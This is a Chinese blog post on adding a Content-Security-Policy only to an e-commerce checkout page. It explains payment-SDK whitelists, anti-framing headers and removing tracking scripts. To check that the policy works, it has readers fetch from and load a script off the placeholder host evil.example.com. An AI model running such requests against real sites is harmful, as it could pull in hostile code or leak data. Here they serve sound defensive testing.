电商结算页 CSP 实战:如何在不搞崩支付 SDK 的前提下加固安全
电商结算页 CSP 实战:如何在不搞崩支付 SDK 的前提下加固安全
本文介绍一种 「仅结算页启用 CSP + 多层脚本剥离」 的前端安全方案,适用于集成 PayPal、Stripe、Google Pay 等多渠道支付的 SSR 电商项目。
关键词: Content-Security-Policy、CSP、支付页安全、点击劫持、GTM、SSR、Web 安全
前言
在电商项目中,全站启用严格的 Content-Security-Policy(CSP)往往代价很高:营销脚本、客服组件、A/B 测试 SDK 遍布各页面,一刀切很容易引发生产事故。
但 结算页 不同——它处理支付信息,安全要求更高,PCI 审计也更关注第三方脚本。我们的做法是:
只在结算页下发 CSP,同时剥离 GTM 等非必要追踪脚本,支付 SDK 通过白名单放行。
这样既满足安全合规,又不影响其他页面的正常运营。
一、为什么要「按页」做 CSP,而不是全站?
| 方案 | 优点 | 缺点 |
|---|---|---|
| 全站 CSP | 防护面最大 | 维护成本高,易误伤业务脚本 |
| 仅结算页 CSP | 聚焦高风险页面,改动范围可控 | 需服务端按路由下发 |
结算页的核心矛盾:
- 要放行:PayPal / Stripe / Google Pay 等支付 SDK(script、iframe、API 请求)
- 要拦截:GTM、广告像素、客服挂件等营销/追踪脚本
- 要防嵌入:避免被恶意站点 iframe 嵌套(点击劫持)
二、整体架构
┌─────────────────────────────────────────────────────────────┐
│ 用户访问 /checkout(结算页) │
└──────────────────────────┬──────────────────────────────────┘
│
┌─────────────────┼─────────────────┐
▼ ▼ ▼
服务端设置 CSP 头 SSR 剥离 GTM 脚本 客户端二次兜底移除
+ X-Frame-Options (HTML 正则清洗) (entry 入口脚本)
三层防护各司其职:
- HTTP 响应头:浏览器强制执行 CSP,拦截违规资源加载
- SSR 清洗:在 HTML 输出前去掉 GTM 等内联/外链脚本
- 客户端兜底:防止 hydration 或动态注入把追踪脚本带回来
三、核心模块:CSP 策略构建
建议独立一个 paymentPageCsp.js(或 .ts),专门负责生成 CSP 字符串。
3.1 路径判断
// 结算页路径——按实际路由修改
export const PAYMENT_PAGE_PATH = "/checkout";
export function matchesPaymentPageUrl(url) {
return String(url || "").includes(PAYMENT_PAGE_PATH);
}
3.2 域名白名单分类
不要把所有域名堆在一个数组里,按 CSP 指令类型分组,后续维护会轻松很多:
// 自有站点
const OWNED_SITE_ORIGINS = [
"https://*.example.com",
"https://example.com",
];
// 支付 JS SDK
const ALLOWED_SCRIPT_ORIGINS = [
"https://www.paypal.com",
"https://www.paypalobjects.com",
"https://js.paypal.com",
"https://pay.google.com",
"https://www.gstatic.com",
"https://js.stripe.com",
"https://checkout.stripe.com",
// ... 按实际接入渠道补充
];
// 支付 API(connect-src)
const ALLOWED_CONNECT_ORIGINS = [
...ALLOWED_SCRIPT_ORIGINS,
"https://api.stripe.com",
];
// 表单提交目标(form-action)
const ALLOWED_FORM_TARGETS = [
"https://secure.payment-gateway.com",
];
// iframe 来源(frame-src,3DS 验证等)
const ALLOWED_FRAME_ORIGINS = [
"'self'",
...OWNED_SITE_ORIGINS,
"https://www.paypal.com",
"https://js.stripe.com",
"https://hooks.stripe.com",
// ...
];
3.3 构建 CSP 字符串
/**
* @param {{ dev?: boolean; frameAncestors?: boolean }} options
*/
export function composePaymentPageCsp(options = {}) {
const { dev = false, frameAncestors = false } = options;
const scriptSrc = [
"'self'",
"'unsafe-inline'", // 部分 UI 框架 / 支付 SDK 需要
"'unsafe-eval'", // 见下文「安全取舍」
"blob:",
...OWNED_SITE_ORIGINS,
...ALLOWED_SCRIPT_ORIGINS,
];
const connectSrc = ["'self'", ...OWNED_SITE_ORIGINS, ...ALLOWED_CONNECT_ORIGINS];
// 开发环境放行 HMR
if (dev) {
connectSrc.push(
"http://localhost:*",
"ws://localhost:*",
"http://127.0.0.1:*",
"ws://127.0.0.1:*",
);
scriptSrc.push("http://localhost:*");
}
const directives = [
"default-src 'self'",
`script-src ${scriptSrc.join(" ")}`,
`style-src 'self' 'unsafe-inline' ${OWNED_SITE_ORIGINS.join(" ")}`,
`img-src 'self' data: blob: ${OWNED_SITE_ORIGINS.join(" ")} https://*.stripe.com`,
`font-src 'self' data: ${OWNED_SITE_ORIGINS.join(" ")}`,
`connect-src ${connectSrc.join(" ")}`,
`frame-src ${ALLOWED_FRAME_ORIGINS.join(" ")}`,
`form-action 'self' ${OWNED_SITE_ORIGINS.join(" ")} ${ALLOWED_FORM_TARGETS.join(" ")}`,
`worker-src 'self' blob: ${ALLOWED_SCRIPT_ORIGINS.join(" ")}`,
"object-src 'none'",
"base-uri 'self'",
];
if (frameAncestors) {
directives.push("frame-ancestors 'self'");
}
return directives.join("; ");
}
3.4 关于 'unsafe-eval' 的安全取舍
部分支付网关的加密脚本(如卡号加密 SDK)在 JSON.parse 降级路径中会调用 eval,因此 script-src 可能需要保留 'unsafe-eval'。
建议:
- 接入支付渠道后,在 Console 观察是否有
eval相关 CSP 报错 - 未使用该 SDK 的项目,可尝试移除
'unsafe-eval'并回归测试
四、服务端集成(SSR / Node)
4.1 设置响应头
在 SSR 渲染完成、返回 HTML 之前:
import { composePaymentPageCsp, matchesPaymentPageUrl } from "./paymentPageCsp.js";
if (matchesPaymentPageUrl(req.url)) {
res.setHeader(
"Content-Security-Policy",
composePaymentPageCsp({ dev: !isProd, frameAncestors: true }),
);
res.setHeader("X-Frame-Options", "DENY");
}
三个要点:
- CSP 必须通过 HTTP 响应头 下发(
<meta>标签对frame-ancestors无效) - 只对 document 请求(HTML 页面)设置,不要对 JS/CSS 静态资源全局加
frame-ancestors 'self'+X-Frame-Options: DENY双重防止 iframe 嵌入
4.2 SSR 阶段剥离 GTM 脚本
即使 CSP 能拦截,也建议在服务端先把 GTM 从 HTML 里清掉,减少无效请求和控制台噪音:
function purgeTrackingScripts(html, url) {
if (!matchesPaymentPageUrl(url)) return html;
return html
.replace(/<!--\s*gtm-start\s*-->[\s\S]*?<!--\s*gtm-end\s*-->/g, "")
.replace(/<script[^>]*data-hid="gtm_dataLayer"[^>]*>[\s\S]*?<\/script>/gi, "")
.replace(/<script[^>]*src="[^"]*googletagmanager\.com[^"]*"[^>]*><\/script>/gi, "")
.replace(/<noscript[^>]*>[\s\S]*?googletagmanager\.com[\s\S]*?<\/noscript>/gi, "");
}
正则需根据项目 HTML 结构微调,核心是覆盖:注释块、内联 script、外链 script、noscript iframe。
五、客户端集成
5.1 路径判断(前后端保持一致)
// utils/paymentPageCsp.ts
export const PAYMENT_PAGE_PATH = "/checkout";
export function matchesPaymentPagePath(path: string): boolean {
return path.includes(PAYMENT_PAGE_PATH);
}
5.2 入口兜底移除 GTM
在应用 mount 之前尽早执行:
import { matchesPaymentPagePath } from "@/utils/paymentPageCsp";
if (matchesPaymentPagePath(location.pathname)) {
document
.querySelectorAll('script[src*="googletagmanager.com"]')
.forEach((node) => node.remove());
document
.querySelectorAll('script[data-hid="gtm_dataLayer"]')
.forEach((node) => node.remove());
}
5.3 应用层条件加载 SDK
const onPaymentPage =
matchesPaymentPagePath(route.path) || route.name === "PaymentPage";
// 结算页:不注入 GTM dataLayer
const headScripts = onPaymentPage ? [] : [{ key: "gtm_dataLayer", innerHTML: "..." }];
// 结算页:跳过 Cookie 横幅、客服、评价等非必要 SDK
if (!onPaymentPage) {
initCookieBanner();
initChatWidget();
initMarketingSdk();
}
// 结算页:保留支付风控 SDK
initFraudSdk();
原则:结算页只留支付必需的 SDK,其余一律不加载。
六、新增支付渠道时怎么补白名单?
接入新支付 SDK 后,打开 Console 看 CSP 报错,按关键词对号入座:
| Console 报错 | 需修改的指令 |
|---|---|
Refused to load the script |
script-src |
Refused to connect |
connect-src |
Refused to frame |
frame-src |
Refused to send form |
form-action |
Refused to create a worker |
worker-src |
这是 CSP 运维的日常节奏:报错 → 补域名 → 回归支付流程。
七、如何验证 CSP 已生效?
7.1 检查响应头
DevTools → Network → 选中 document 请求 → Response Headers:
Content-Security-Policy: default-src 'self'; script-src ...
X-Frame-Options: DENY
或用 curl:
curl -I "https://example.com/checkout" | grep -i content-security-policy
7.2 主动触发违规
在结算页 Console 执行:
// 应被拦截
fetch("https://evil.example.com/api");
const s = document.createElement("script");
s.src = "https://evil.example.com/x.js";
document.head.appendChild(s);
预期出现:Refused to ... violates Content-Security-Policy
7.3 验证清单
- 结算页 document 有 CSP 头,其他页面没有
- 恶意 script / fetch 被 Console 报错拦截
- 同源业务 API 正常(200 OK)
- 各支付渠道流程走通(下单、3DS、回调)
- 结算页无
googletagmanager.com脚本 - 外部站点无法 iframe 嵌入结算页
- 开发环境 HMR 正常
八、常见问题
Q1:Network 里 200 OK,但 Response 面板看不到 body?
通常不是 CSP。 常见原因是 DevTools 未保留响应体、页面刷新、本地代理干扰。CSP 拦截会直接报 Refused to connect,不会让请求成功却隐藏 body。
Q2:前端 JS 能读取 CSP 响应头吗?
不能。 CSP 由浏览器内部执行,不提供 JS 读取 API。DevTools Network 面板可以看到。
Q3:为什么不用 <meta http-equiv="Content-Security-Policy">?
- HTTP 响应头更可靠
frame-ancestors在 meta 标签中无效- 服务端可以按路由灵活控制
九、总结
| 层级 | 手段 | 作用 |
|---|---|---|
| HTTP 头 | CSP + X-Frame-Options | 限制资源加载、防 iframe 嵌入 |
| SSR | HTML 正则清洗 | 去掉 GTM 等追踪脚本 |
| 客户端 | 条件加载 + 兜底移除 | 防止非必要 SDK 进入结算页 |
这套方案的核心思路是:安全策略跟着风险走,而不是一刀切全站。 结算页集中加固,其他页面保持灵活,是在安全与业务之间比较务实的平衡点。
如果你也在做支付页安全加固,欢迎评论区交流接入过程中遇到的 CSP 报错和踩坑经验。
更多推荐




所有评论(0)